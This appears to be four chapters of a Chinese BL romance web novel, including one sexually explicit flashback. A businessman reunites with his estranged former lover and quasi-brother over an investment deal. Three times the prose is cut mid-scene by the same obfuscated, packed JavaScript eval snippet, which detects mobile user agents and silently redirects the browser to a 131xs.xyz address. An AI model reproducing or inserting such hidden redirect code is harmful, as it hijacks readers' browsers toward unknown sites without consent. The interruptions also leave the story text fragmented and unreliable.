《哥哥再爱我一次》 1. 第1章 雨夜,冲北又一次惊醒了。 近几日入眠难,夜间常惊梦,醒来睁眼便至天明。 缘由无非:梁澄回来了。 电动窗帘缓缓推开,透明的玻璃窗外残留零零碎碎一夜的雨水,城市的天际线渐渐升高。 他抬手遮住眼睛,另一只手摸出手机,给司机发了条信息,告诉他不用来接。 早高峰还未开始,车窗外的空气带着微凉的湿润,白色迈巴赫停在路口的红灯前,冲北单手把方向盘,另一手的指节缓缓敲击酸胀的太阳穴。 昨夜又做了那个梦。 * 少年躺在不属于他的床上,气鼓鼓看着从浴室出来满身湿哒哒的人,抱怨,“梁澄,你好慢,快上来。” 毛绒绒的眉头上沾着一层白盐似的水霜,梁澄满眼温情,温声细语道:”我先去锁个门。” 少年眉头一拧,杏仁大的眼瞳瞬间瞪直,不耐烦地嚷道:“我锁过了,你赶快过来。” 梁澄动作一滞,思考一秒,还是朝门口走去。 少年顿时瞠目结舌,带着怒气的命令,“梁澄!赶快过来。” 梁澄脚步一顿,心头一紧,脸上带着无奈的笑,听从安排,扭身来到床沿边坐下。 怒火中的少年瞪了他一眼,朝里挪了挪,拍拍身旁的位置,命令说:“上来。” 梁澄头发略湿还在滴水,他抓起肩头的浴巾快速擦干水汽,俯身凑近,讨好去亲他因生气翘起的唇线。 少年表情嫌恶,头朝后仰,以至于那个亲吻只能蜻蜓点水掠过。 梁澄也没生气,看起来理所当然,狭长的眼里依旧盛满笑意。 他伸手去搂少年的肩膀,笑着讨饶道:“冲北,别生我的气了,我刚才不是不信你,只是想去再确认一下,万一你忘了。” 少年的心尖一颤,噘嘴皱眉,依旧对他冷言冷语,“你TMD烦死了,头发上的水都甩到我眼睛里了。” 话毕,若有其事地抬手,揉了揉干涩的眼眶。 梁澄心里明了,只笑着看他,声音温柔,“哎,对不起,怕你等着急,头发没吹就出来了,别生气了。” 冲北呲笑一声,睨着他,阴阳怪气道:“那是我的错了。” 梁澄眉眼都是笑,俯身,从下往上取悦他,“不,是我的错。” 见他认错态度良好,冲北这才“哼”了一声,扣住他的后脑勺,翻身亲了上去。 一吻过后,冲北喘着粗气,抹了一把嘴角。两人眼里都淬着火星,勃发的少年恨不得吞咽彼此。 冲北坐在硬.挺的腰腹,双手强势地按在梁澄肩膀,他抬手,羞辱般地扇了一下他的脸颊。 梁澄依旧笑着,眼尾洇出绯色,像烧得赤红的铁石。 冲北伸手,用大拇指摩挲他泛红的眼尾,调笑,“哥,你眼睛红了。” 梁澄眼睫颤动,没搭话,侧过脸痴迷地亲吻冲北潮热的手心。 高热的舌尖在掌心磨蹭,冲北凝视他发.浪的模样,一把拽住梁澄湿润的头发,迫使他抬眼看向自己。 他的眼里盈着水波,双耳血红,没有半分初见时的冷淡样子,高岭之花堕落神坛,像放荡的浪子。 手心烦人的液体被抹在乌黑的发丝,折射出暧昧的光泽。 梁澄身上的浴袍动作间早已散开,冲北轻扯棉质的腰带,底下的风光一览无余,他伸直手臂,在梁澄帮助下猴急地脱掉上衣,赤裸着吻上去。 安静的房间里,回荡少年浓烈的喘息声,两具滚烫的身体纠缠在一起。 下一秒,门被一脚踢开,来自冲霄的怒嚎…… * 路口红灯开始倒数,冲北从回忆中抽离,抬手揉了一把眼睛,眼底是青色的,揭示他一夜未眠的事实,脚底踩下油门,白色轿车瞬间冲了出去。 抵达公司时,恰逢车库执勤的保安换班,一高一矮两位保安与老板迎面相遇,恭敬地打了声招呼。 冲北提起精神,点了点头。 待冲北走远,高的那位嘀咕,“冲总他这几天都来得好早。” 另一位回头看了眼高挑的背影,皱眉说:“是呀,而且还精神萎靡,看起来像焦虑得睡不着觉,我们公司不会要倒闭了吧。” “呸呸呸,竟说瞎话。这么大的集团怎么可能倒闭。”高个子道。 另一人笑笑,赞同地点头。 * 冲北抵达总裁办公室,在智慧面板上开启室内所有灯光,升起电动百叶窗后,来到一面巨幅落地窗前。 大马路上的车流逐渐多起来,天边升起橘黄的光圈,早高峰开始了。 暖黄的阳光下,眼前的视线略显模糊,他抬手揉了揉眼眶,又眺望远方,几分钟后,公路上的车流明显增多,冲北转身回到舒适的老板椅上。 办公桌上的手机忽然亮了,冲北心尖一麻,激动地拿起来看。 下一秒,心情顿时低落,这不是那个人的信息。 他一把关掉手机屏幕,想起四天前,见到梁澄的场景。 龙港市工业产业园是芯冲集团本年度最重要的投资项目,当天的投资洽谈会参会人员众多。 助理甘鸣已提前做好所有参会人员的资料,可冲北很忙,只粗略看了几眼,便放下。 正是由于他的疏忽,没能早点发现那个意料之外的“空降兵”,否则也不会刚进会议室就失态了近半分钟。 可那个人依旧冷静,冷淡地注视他的失态。这令他想起来第一次见梁澄时,对方冷着脸,让他叫“哥”。 冲北左右摇晃几下脑袋,试图让过去的记忆翻篇。 但脑海中的情景历历在目,他忘记会议上自己说了什么,只记得梁澄神态从容、侃侃而谈的每一句话,细节到每一个字。 还有最后离开前对他礼貌又疏离的场面话,“冲总,我们下次见。” 他回了什么也记不清了,或许压根没反应过来,称职的助理甘鸣替他说了些商业谈判的场面话。 可他的“下次见”未免过于笼统,惴惴不安的几天等待,对方仍旧没有给他一个明确的日期。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275750|182404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次的项目对集团未来发展至关重要,冲北焦头烂额好几天,也同几家看好的合作方谈过。 不幸的是只有这位带外资背景的公司表示愿意容忍这份合约的不平等条款。 冲北起初认为对方想要依靠和芯冲合作,逐步打开国内市场。 但见过梁澄后,他不确定了。还有一种可能,是他自作多情了。 七年过去,什么感情都会变淡,更何况他是那场感情里的欺诈者,和破裂的主导者。 冲北猛地站起来,眼前一花,双手随即撑住桌面,缓了好一会儿才慢慢走出办公室。 助理甘鸣正站在办公桌前整理文件,惊讶地看向从总裁办公室里走出来的人。 他今天特意提前抵达,依旧比冲总晚,他到底几时来的公司,或者压根没离开过。 甘鸣走向他,问候道:”冲总,吃了早饭吗?或者需要来一杯咖啡吗?”走得越近,对方眼底的黑眼圈越发明显。 冲北朝他点头,说:“你帮我带一碗粥上来。咖啡也要一杯,要奶咖,加两包糖。” 甘鸣怔了怔,两包糖?他以前无论什么时候都是喝冰美式的。 见他不说话,冲北声线微沉,”需要我再重复一遍吗?” 甘鸣回过神来,连忙道:“冲总,不需要,东西马上就到。” 冲北“嗯”了一声,又回到办公室,他也不清楚方才出去干嘛?现在又回来干什么? 人似乎有些魔怔了。 这几天工作效率极其高,案头的文件早已解决。只有和梁澄有关的事儿,如达摩克利斯之剑,悬在头顶,不知何时掉落下来,要他的命。 坐着发呆不知道多久,助理端着一份小米粥和一杯奶咖进来。 “放到那边去。”冲北下巴点了点会客区的茶几。 东西放好后,甘鸣没有离开,汇报近期工作安排。 冲北咽下一勺粥后,平淡地问:“梁总那边没有人联系过我们吗?” 甘鸣摇头,“我主动联系了几次梁总助理,他说梁总还在考虑中,看他意思,不想我们这边过分叨扰。” 但……甘鸣没说,他感觉对方三言两语间似乎有意让冲总主动联系对方老板,而非二者助理之间交涉。 不过,这也只是他作为助理的主观臆断罢了。 冲北点了点头,表示明白了,端起咖啡,问:“先前的那几家集团,你怎么看?” 甘鸣一一认真地回答了,最终仍旧认为海外华资合宜是他们最佳的合作伙伴。 冲北同意甘鸣的分析,但他没吱声,咽下最后一勺小米粥,拿起咖啡杯回到办公桌前。 甘鸣收拾好碗勺,端起黑色的托盘准备出去,他单手推开门,思考一秒后,斟酌着对冲北说: “冲总,您看看要不要试着主动去联系一下梁总。上几次通话,我隐约感觉李助的托词,是因为梁总想要单独和您联系,而不是通过助理联系。” 冲北没说话,但嘴唇绷直了。过了一会儿,他淡淡道:“我知道了。” 2. 第2章 手中精致的黑色商务名片正面印着梁澄的公司职务和工作电话,背面则是一串熟稔的私人号码。 私人号没变过,依旧还是七年那串熟悉的数字。 掌心的名片翻来覆去把玩,冲北心情复杂,皱眉盯着它。 梁澄意图何为?他是想要报复自己吗?或是像他从前那般玩弄他的感情?亦或是其他…… 无论何种可能,为了这个对公司重要至极的项目,他也该单独会会他,补救上回的措手不及。 这是冲北的自圆其说。 他叹了口气,把名片放回包里,端起咖啡杯,喝掉最后一口凉透了的奶咖,底部没有融透的砂糖,甜腻得齁嗓子。 他拿起手机,在屏幕上按出熟记于心的号码,盯着手机直到屏幕自动熄灭。 冲北再次叹了口气,攥紧手机来到车水马龙的落地窗前。 底下的车流、人流化成小小圆圆的一点,像热锅上的蚂蚁,更像他焦躁难耐的心。 过了许久,他解锁手机,终于鼓足勇气按下通话键。 听筒里的乐曲节奏一下一下击打他忐忑不安的心,嘀一声,电话被接通,对面传来冷淡的人声:“你好,冲总。” 冲北抿了一下唇,顿时哑然,之前想好的说词,此时忘了个底朝天。 对方又自顾自说:“冲总怕不是打错号码了?这是我的私人电话。谈公事的话,还是打工作号码,比较正式。” 冲北听出他话里的揶揄,扯了个笑,客套道:“抱歉,这串数字记得太熟,一时没反应过来是您的私人号码。” 对面呼吸声微滞,笑道,“无妨,冲总下次记得就好,公事联系用工作号码,私事联系用私人号码。”顿了一下,话锋一转,“所以,小冲今天想要聊的是私事吗?” “小冲”两个字令冲北如鲠在喉,嘴里仿佛被灌满了砂子,沉默了许久,他再次抱歉,“梁总,不好意思,可否拨冗,谈一谈合宜对芯冲的投资计划。当然了,时间您来定。” 对方没有说话,冲北笔直地站在窗前,一直到后背微微发汗。 梁澄才回复:“冲北,我已经跟你说过了,公事打工作号码,怎么还是一如既往的任性?” 他的话冷冰冰的,像一盆融化的雪水猛然泼洒在冲北脸上,冻得人直发颤。 冲北艰难地咽了口水,发出暗哑的声音,“抱歉,梁总。我以为……” 梁澄打断他的话,冷笑道:“你以为什么?” 冲北摇了摇头,却忘记对方压根看不见。 过了几秒,他说:“没什么,既然谈公事,那我换个号码打过来。” 梁澄轻笑一声,“好的,恭候冲总。” 啪一声,通话结束了。 冲北紧紧握着滚热的手机,恶狠狠吸了口气,回到办公桌前,拿出那张名片,翻到正面,按照上面的数字,重新拨打过去。 “你好,哪位?”听筒那头的声线陌生。 冲北愣了一秒,说:“你好,我是芯冲集团冲北。” 对方语气一下变了,忙道:“冲总,请您稍等,不要挂电话,梁总去洗手间了,马上回来。我是他的助理李勉。” 冲北“嗯”了一声,没讲话,他听见对面的低语。但对方捂住了收音口,声音非常含糊。 冲北又走到落地窗前,抬头眺望湛蓝天空上的那轮红日,日头炽热,洒下灿黄的金光,映射到那幢伫立“合宜大厦”几个大字的楼顶。 同属于京州市CBD商务区地块,距离他也就五百米远。不出意外,梁澄现在就在那栋大楼里。 阳光刺眼,瞳孔被映照成淡淡的琥珀色,冲北点击墙边的面板,降下电动百叶窗帘,又调整了百叶角度,保持室内阳光充足。 这时,电话那头传来熟悉的声音,“抱歉冲总,刚才去上了个厕所,电话在李助那。” 求人的人只有被拿捏的份。 冲北没有情绪,反而带着刻意讨好的笑,“梁总这是说哪里的话,人有三急,可以理解的嘛。” 对面沉默了两三秒,冷淡道:“冲总可比从前成熟多了。” 脸上好不容易扯出的笑容骤然消失,冲北朝里走,仰靠沙发坐下,感叹,“人总会长大,不是吗?” 梁澄干笑两声,没再继续这个话题,他直奔主题道:“我今天上午有空,不知冲总是否有空来合宜?” “当然有空。”冲北立刻回道。 通话结束,冲北马上从沙发起来,进入内套的休息室,在镜子前整理了一下微皱的白衬衫,低头沉默了几秒,干脆换了身新套装。 他凑近全身镜,整理衣领时,才发觉眼底明显的大块乌青,拿指肚蹭了蹭,从饰品抽屉里取出一副没有度数的银色金属眼镜戴上。 在那副偏商务的银丝眼镜加持下,遮住萎靡的脸色,也多了几分成熟的商业精英气质。 五分钟车程,冲北带着助理甘鸣抵达合宜大厦地下停车场。 冲北迈着长腿下车,脚上一双一尘不染的薄底皮鞋,身着质地高级的黑色西服套装,高挺的鼻梁上架着一副银色眼镜,压下那双狗狗眼的憨实,好一个青年才俊。 甘鸣默默观察着,老板眼上这副眼镜他还是第一次看,他记得对方并不近视,平日里也并没有戴眼镜的习惯。 还有这身新换的西服套装,比早上那套更显成熟稳重。凑近他,还能闻见身上散发着一股淡淡水生调香水味儿。 原来是孔雀开屏了。 甘鸣抿了一下唇,按下电梯上行键。 几秒后,金属门缓缓打开,里头站着梁澄的助理李勉。两位助理快速对视一眼,都在对方眼里看到了一丝惊讶。 然后,李勉按住开门键,伸出另一只手,客气地邀请:“冲总,请进。我们梁总让我下来接你。” 冲北朝他点了个头,走了进去。 只有三个人的电梯很安静,冲北微微仰头,盯着彩屏上不断跃升的数字。电梯的速度很快,中间也未曾停留,直抵顶层66楼。 李助称职地迎着冲北进了总裁室,而后关掉门,把自己和甘鸣都拦在室外。 甘鸣:…… “来了,还挺快,早知道让李勉早点下去了。”梁澄从办公桌上起身,指了指会客区的黑色沙发,“坐。” 冲北朝右边走,会客区是常规的U型设计,同他办公室的布局几乎一样。 冲北率先在靠边的单人沙发位坐下,梁澄则一屁股坐在主位三人沙发靠他那 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我又不是你,为达成目的,连自己都能算计进去。 冲北死死咬着后槽牙,没说话。 冲北的沉默让梁澄开始肆无忌惮,他凑近,几乎鼻尖相抵,揶揄道:“冲总最近肾还好吗?黑眼圈怎么这么重。” 冲北扬了扬眉,不甘示弱地反驳,“还好吧,毕竟年轻,年轻人风流一些也是很正常的事情。” 梁澄抿直唇角,点头,“的确。”然后陡然伸手摘掉了冲北那副碍事的眼镜。 冲北顿时愣住了,反应过来,起身就要去抢。 梁澄用力按在他肩膀,迫使他坐好,“冲总急什么?我只是喜欢这副眼镜,想试试而已。我们是要谈合作的关系,该不会连一副眼镜都舍不得送给合作伙伴?” 他顺势戴上眼镜,嘴角带笑,“我猜你不是这样吝啬的人。” 那副眼镜换到梁澄那张天生带冷意的脸上,银色的金属骨架发出凌厉的白光,晃了一下冲北的双眼。 他承认,这副眼镜同梁澄冷冽的气质的确更加匹配。 冲北由衷地赞美,“这副眼镜果然更适合梁总。” 梁澄轻笑一声,室内透亮灯光下,镜面映射出粼粼波光,让他看起来像一匹眼冒绿光饥饿的狼,随时随地张牙舞爪,撕开猎物外皮,吞噬他的骨肉。 此时,敲门声打断了两人刀光剑影的叙旧。 李勉的声音从外传来,“梁总,我来送咖啡,现在可以进来吗?” 梁澄看了略显慌乱的冲北一眼,绅士地问询他的意见,“冲总,可以吗?” 冲北轻松道:“当然可以。” 梁澄没动,仍旧以那个强势的“圈禁”姿势占有了一半的沙发和沙发上的人。 距离太近,他看到冲北浓密眼睫下乌青的眼底,以一个长辈的姿态劝说:“冲总还是注意身体,年轻也不是无懈可击,玩坏的可是自己的身体。” 冲北耳朵一红,猛力把他推到三人沙发。 然后,冲门口喊了一句,“请进!” 3. 第3章 托盘上是三杯咖啡,两杯冰美式,另外一杯是放了两包糖的奶咖。 李勉先是把一杯咖啡放在自家老板面前,又询问冲北,“冲总,请问您要什么?这里是冰美式和加了两包糖的奶咖。” 梁澄皱着眉看了冲北一眼,发现他竟然端起了那杯甜腻的奶咖,抬高手臂,遮掩自己惊讶的视线,喝了一口手里的咖啡。 李助端起托盘踩着小碎步,故意慢悠悠地往外走,他耳听六路眼观八方,但很可惜,没有获取到任何有用的信息。 虽然两人之间的暧昧氛围很是浓烈。 梁总鼻梁上那副银丝眼镜,之前是在冲总的脸上,还有衬衫胸口处明显的褶皱……他来之前,这里发生了什么?昭然若揭。 手里的咖啡下去一半,可身旁的冲北却双手端着杯子沉默,梁澄好奇地问:“怎么……不合冲总胃口?” 极少看他喝奶咖,还是加了两包糖的。上学时,每次都是他替冲北提前做好或是买好冰美式,然后灌进保温杯里,维持入口时冰凉的温度。 时间更迭,连口味都变了。 梁澄勾起嘴角,露出一个讽刺的笑。 冲北把那杯咖啡放回茶几,对他说:“我来之前喝过了,现在喝不下。” 梁澄点头表示理解,同时忍住心里的疑问。 冲北等待梁澄喝完,顺便掏出手机给甘鸣发了条语音,“把资料拿进来。”他想要快速进入主题,而不是在这里回忆过去那些没用的。 梁澄睨了他一眼,说:“不用,资料我都看过了,又没有什么新的内容。不需要重新介绍一次。” 于是,冲北又发了一条语音,让他不用进来了。 与此同时,他意识到,进门时,甘鸣只落后他半个身位,怎么会被留在了门外。 这无非是梁澄的特别授意,求人办事的他并没有生气的资格。 梁澄的态度模糊不清,冲北只得直入主题,避免浪费彼此时间。 “那梁总对这个项目怎么看?贵司是否有投资意愿?” 梁澄放下手里空了的咖啡杯,往上抬了抬下滑的眼镜,说:“冲总平时都是这样谈项目的吗?也太耿直了些。” 冲北愣了一下,他这是什么意思?商场上有些事儿的确不是靠办公室里坐着谈判聊出来,可梁澄…… 冲北放下二郎腿,侧过身,问:“梁总想去哪里谈?我都乐意奉陪。” “高尔夫球场,还是夜场?” 梁澄抿了抿嘴,笑道:“冲总恐怕是误会我了。我想说我俩认识这么多年,起码也该先叙叙旧,再谈公事吧。上次人太多了,都没能单独聊一聊,有些遗憾。” 冲北意识到自己被耍了,脸色微沉,说:“我以为十分钟前我们已经叙过旧了,难道不是吗?” 梁澄疑惑道:“那也算叙旧吗?小冲。” “小冲”两个字叫得格外亲昵。 记忆瞬间回溯到那个暑假,梁澄被带回冲家的那天。 * 高三后的暑假,冲北结束和朋友的毕业旅行兴匆匆地回家,没想到客厅的沙发却出现一个陌生的少年。 少年穿着简单的白色T恤和阔腿黑色牛仔裤,看起来跟他年纪差不多。 长相帅气,气质却很冷。但最引人注目的还是那双狭长的眼睛,竟跟父亲那双眼生得几乎一模一样。 墨黑的眸子里闪着灿亮的光,只一眼,勾得冲北头昏脑炸。 七月底的盛夏,身在温度适宜的空调房里,冲北瞬间被吓出一身冷汗,他眉头一拧,如同被陌生物种侵犯领地的小狮子,全身炸毛,开启防御模式。 这时,冲霄从楼下下来,对他介绍道:“冲北,这是梁澄,我朋友的儿子。他比你大,你叫他梁澄哥哥。” “哥哥”两个字径直击中冲北最紧绷的防线,他一把扔了手里的拉杆箱,狂怒地朝父亲嚎叫:“‘哥哥’?什么‘哥哥’,我是独生子,我妈因为生我难产去世,她可没给我生出一个什么‘哥哥’。” 冲霄暗道不好,急忙下楼。 冲北从小失去母亲,是由他手把手照顾大的,他是自己最嫩的那块心头肉。 从小没了妈妈的孩子,他只能当一位慈父。对冲北永远溺爱,不说一句重话。就连考试故意不及格被请家长,他也没挨过打。 但也许对他过于宠爱,造就了冲北没大没小、肆意妄为,极度自我的个性。 冲霄眉头拧成川字,用力攥紧冲北的手臂,愤怒道:“冲北,你也太没礼貌了!我平常怎么教你的?快跟梁澄道歉!” 平日对他百依百顺的父亲,这次竟然因为一个“外人”指责他,甚至“殴打”他。 他看向被攥紧的手臂,因用力过度而青筋暴起,说:“爸,你竟然为了他打我!” 那双杏仁眼满含热泪,瞪着冲霄。 一刹那间,冲霄火气消弭,他松了手上的力道,对沙发上的梁澄说:“小梁,你先坐,我和冲北单独说说话。” 梁澄朝他点了点头,余光瞥了冲北一眼,很若无其事。 书房里,灯火通明,冲北坐在沙发上,身边站着仔细检查他手臂的冲霄,拽得太紧,他的皮肤白皙且敏感,已经浮现了一圈浅红的痕迹。 冲霄指腹轻轻触碰,心疼地抱怨,“哎,你说你在底下发什么疯?害得我一气之下没收住手劲儿,现在都红了。痛不痛?” “你还管我干什么?我死了算了,你都不要我了。”冲北眼眶泛红地吼叫。 今天父亲因为一个“陌生人”竟然亲手“打”了他,他哪里遭受过这样的待遇,简直怒不可遏! 冲北讨厌梁澄,见他的第一面就极度厌恶这个男孩儿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275752|182404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你这孩子,说什么胡话呢。”冲霄被他的胡言乱语弄得心烦,没注意手指收紧了,意识到后,怕伤到他,旋即松开手。 看着伤心的儿子,冲霄心里也难受。 他没想到把梁澄接到冲家会让冲北产生这样激烈的反应。可他们明明很小的时候一起玩过,是关系很好的玩伴。但多年过去,冲北显然早忘了。 可……梁澄必须留下来,这是冲北依靠大吵大闹也无法改变的事实。 冲北低着头不说话,肩膀轻微耸动,似乎在默默抽泣。 这看得冲霄更心疼了。 他微微弓身,打商量的语气,“小冲,梁澄是我朋友的孩子,他的父母亲意外去世,最亲的爷爷又远在国外,国内只剩下我一个相熟的朋友,所以他需要在家里暂住一段时间。” “你不是一直想要同龄人陪你玩嘛,你们俩年纪差不多,他比你大了不到一年,应该很有共同语言。” “对了,他还和你考的同一所大学,到时候大学里也有照应,这不挺好嘛。” 冲霄循循善诱,意图让冲北接受这个来历不明的“哥哥”。 冲北眉毛拧成麻花,一时不知道该不该相信面前这个最爱他的父亲的话。 那个人真是他好友的孩子吗?可他为什么会和爸爸生了双神似的眼睛。 冲北抬头质问:“是你哪个朋友?我怎么从来不认识他。” 冲霄很耐心地解释,“是你梁向明叔叔和…高姗阿姨。你肯定不记得了,他俩都是外交官,常年在驻扎国外,很少回国,我们也多年难得见一次。” “但你和梁澄小时候还一起玩过,太小了,我估计你肯定忘了。” “他的父母和我还有你妈妈是大学同学,年轻时就玩得挺好,所以后面也一直保持联系。” 高姗……冲北眨了眨眼,提到这个名字的时,他明显顿了一下。这让原本听上去无懈可击的解释,露出了小小的破绽。 冲北又想起楼下那个男孩儿和父亲一模一样的眼睛,这让他如何能相信他的一面之词。 十八年作为冲家独生子长大的美梦难道就此化作虚幻的泡影? 冲北既害怕又愤怒。但他只有父亲了,一个独立拉扯他长大,甚至为了照顾他感受,明面上连女朋友都没有的鳏夫。 他迟疑了…… 见冲北沉默,冲霄自以为说服了他。他伸出双手,轻轻揽住冲北的后脑勺,亲昵摩挲他柔顺的发丝,像哄小孩儿那样温柔。 他柔声道:“小冲,你和梁澄要好好相处,他没了父母,是很可怜的小孩儿。” 冲北攥紧双拳,被迫“嗯”了一声。 小朋友看来被哄好了。 冲霄又说:“前几天是你十八岁的生日,和朋友一起过的,明天爸爸给你补过好不好?” 冲北说:“好。” 4. 第4章 “小冲。”梁澄又唤了一声。 冲北看向他,愣了一下,从回忆里抽离,“不好意思,昨晚没睡好,走神了。” 他不可能承认自己想起了七年前两人不愉快的初见。 梁澄抬了抬那层薄薄的眼皮,眼里情绪复杂。 过了一会儿,他调笑道:“怎么,几天前那场始料未及的重逢让你彻夜难安了?” 猜中了。 冲北垂眼,浓密眼睫掩盖住内心的情绪。 过了一会,他戏谑道:“梁总说笑了。我俩又不是旧情人相见,怎么还彻夜难安了。无非是最近公司忙,加班加的。” 梁澄怔了一下,笑着说:“原来是这样。看到芯冲大老板这样热爱工作,那我就放心了。” 冲北看了他一眼,这是什么意思? 如果没理解错的话,他是想要投资龙港市工业产业园的项目的意思? 冲北顿时认真起来,他坐直上半身,迫不及待道:“那就要看梁总的投资量级了,我们什么都吃得下。” 梁澄嘴角上翘,狭长的眼半眯,凝视冲北,眼尾带钩,如摄人心魄的男狐仙。 冲北没有犹豫地盯着他,视线交汇,空气中似有烈焰的铁水溅落,烧得人心肠寸断,心甘情愿。 少顷,梁澄倾身凑近他,耳鬓厮磨,语气暧昧,“你真的什么都吃得下吗?” “……”冲北太阳穴发胀,猛然推开他,起身严肃道:“还请梁总不要乱开玩笑了。” 梁澄被推得顺势仰靠在沙发,神色冷冽望向他,眉头凝重,如同包裹了一层白霜。 七年前还会讲柔情蜜意的嘴,如今却格外的尖酸刻薄。 单手撑着扶手起身,慢慢靠近冲北。 梁澄冷笑道:“冲总跟我开的玩笑还少吗?我对你而言,不就是一场请君入瓮的玩笑吗?怎么只许州官放火,还不许百姓点灯了。” “真霸道。”最后三个字,他的唇贴在冲北血红的耳廓,缱绻缠绵。 口腔呼出的湿气灌入耳道,冲北嘴唇翕动,偏过头,两人眼里复杂情绪翻滚,他被怼得无话可说。 梁澄对他的指控,冲北没有反驳的余地。 看来今日的谈判无法进行,只得不欢而散。 * 那日离开后,冲北故意放出与银行合作的假消息,并同时和几家合作商密谈,其中就有国内新能源汽车巨头壹顾集团,这也是芯冲最大的合作企业之一。 现任总裁顾越辙是冲北的大学校友,大学期间公共课打过几次照面,但各自接受家族企业后才真正慢慢熟稔起来,称得上圈中好友。 国内市场饱和,壹顾集团近年主攻海外市场,与芯冲的发展路径重合度颇高。除去合宜,这是另一个高适配度企业。 可就是这样不巧。一周前,冲北去电顾越辙时,对方正与竹马对象海外度假,难得的双人时光,再重要的事儿,在那位面前,都要后搁一搁。 顾越辙答应回国后立即联系冲北。 于是,今天冲北做东,宴请顾越辙和他爱人庄汜。 朋友之间聚会,相较于商务宴请,多了些随意。 远东大饭店内,三人落座于圆桌。 冲北一人坐一侧,对面两人肩靠肩坐着,尽显亲昵姿态。 从上菜到布菜,在公事上一向雷厉风行的顾总此时化身最贴心的小棉袄,嘘寒问暖,连对方唇边的油渍都恨不得亲手擦抹干净。 冲北低头默默夹菜,早已见惯不惯,心头微微发涩。 三人私下聚会,十分随便,吃了个半饱,冲北开始谈论项目的事情。 "那个产业园的项目你之前也知道的,是我们公司今年最大的投资,涉及上下游多条产业链,投资时间长……" 顾越辙一边认真听着,手里挑鱼刺的动作也没停下,等他说完,恰好把挑好刺的鱼肉放进庄汜的碗里。 顾越辙拿起温热的毛巾擦了擦手,说:“你那个园区日后的效益肯定没问题,就是周期太长了,没几家公司敢一次性投入五十亿陪你玩儿,而你又不愿意多分散几家,原因我是能理解的。” 冲北点头,主要他还是希望项目主控在自己手中,另外的合作方少而精,以免日后发生分歧,导致项目进展受困。 他说:”你说得很对,所以我这不来找顾总你了么。” 顾越辙叹了口气,要不是和冲北关系好,这场来者不善的鸿门宴他哪里敢答应。 抬手按压眉心,顾越辙说:“我倒是能投,但合同得改,六/四。” 冲北眉头一拧,一句话,少了两成,“六/四不行,八二没得谈。这个智造园芯冲必须全权掌控。” 顾越辙并不退让,摊摊手,“那没得谈,只能谢谢冲总今天请我俩吃饭了。” 冲北:“……” 两人虽然是好友,但在商场如战场,利益交换才是本质。 冲北清楚顾越辙的强势作风,他不可能因为两人的私交而甘居人后。要做,他宁愿做那个主事人,六/四已然是他作出的最大让步。 可冲北不愿意,他郁闷地喝了口红酒,略酸的干红在齿尖回荡。 此时,一直沉默吃饭的庄汜擦了擦唇角的料汁,打圆场, “一上来就针锋相对,吃饭都堵不上你们的嘴。” 顾越辙俯身,凑近讨好地说:“宝贝,今天是他设的鸿门宴,跟我可没关系,你要是吃不好,我们换个包间继续。” “?”冲北抿了下唇。他应该在桌底,不应该在桌上。 既然这方面谈不拢,冲北也不执着,他跟庄汜抱怨,"你对象每次都是这样面目可憎,不让半分利。" 庄汜扭头问顾越辙,“啊,你有吗?” “……”冲北无语,他当然对你不这样,都恨不得把整个壹顾集团送给庄家了。 “当然没有。”顾越辙面不改色,又问冲北,“你那个哥回来了?叫什么来着,梁澄?” 冲北愣了愣,神色自若地点头,“嗯,对。梁澄他回来了。" 顾越辙又问:“他就是合宜刚上任的梁总吧。” 冲北又“嗯”了一声。 顾越辙看他不自在的样子,故意戳他痛处,“你俩大学时那样‘好’,你去找他帮忙呀。” 冲北朝他无奈地翻了个白眼,这人是故意的,明明清楚他和梁澄从前那些龃龉。 冲北淡淡道:“已经找过了。” “被拒绝了?”顾越辙脸上已经掩盖不住看好戏的表情了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275753|182404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲北答:“也不算吧。” 顾越辙笑,“也是,他怎么可能会拒绝‘小冲’的要求。” 冲北扶额,叹了口气,“你别恶心我了,阿辙。”又用嘴型作出“哥哥”二字。 庄汜:“……” 顾越辙:“……” 庄汜同冲北业务往来不多,私下的交情也是因为顾越辙,对着半生不熟的友人,不像自家人那般随意,装得矜持。 他不知道冲北如何知道这个称呼,但也不意外对方知道,毕竟一个圈子里的人,小时候那些事儿,谁不清楚。 表面若无其事,桌子底下,伸手使劲儿拧了一下身旁人健壮的大腿肌肉。 顾越辙咬紧后槽牙,愣是一声没吭,盖住他的手背,摩挲安抚。 两人面不改色地微笑,可冲北通过手臂的动作,已经清楚到底发生了什么,小情侣之间的情趣,有够恶臭。 臭情侣! 冲北避嫌地夹了一筷子蓝莓山药,大口咀嚼,这该死的酸! 